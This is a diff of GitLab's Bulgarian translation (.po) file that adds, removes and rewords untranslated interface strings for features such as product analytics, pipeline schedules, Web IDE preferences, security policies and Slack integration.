+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr "Ðикога"
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr "Създайте %{new_merge_request} Ñ Ñ‚ÐµÐ·Ð¸ промени"
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr "Връзката на разклонение беше премахната."
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr "Без звезда"
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
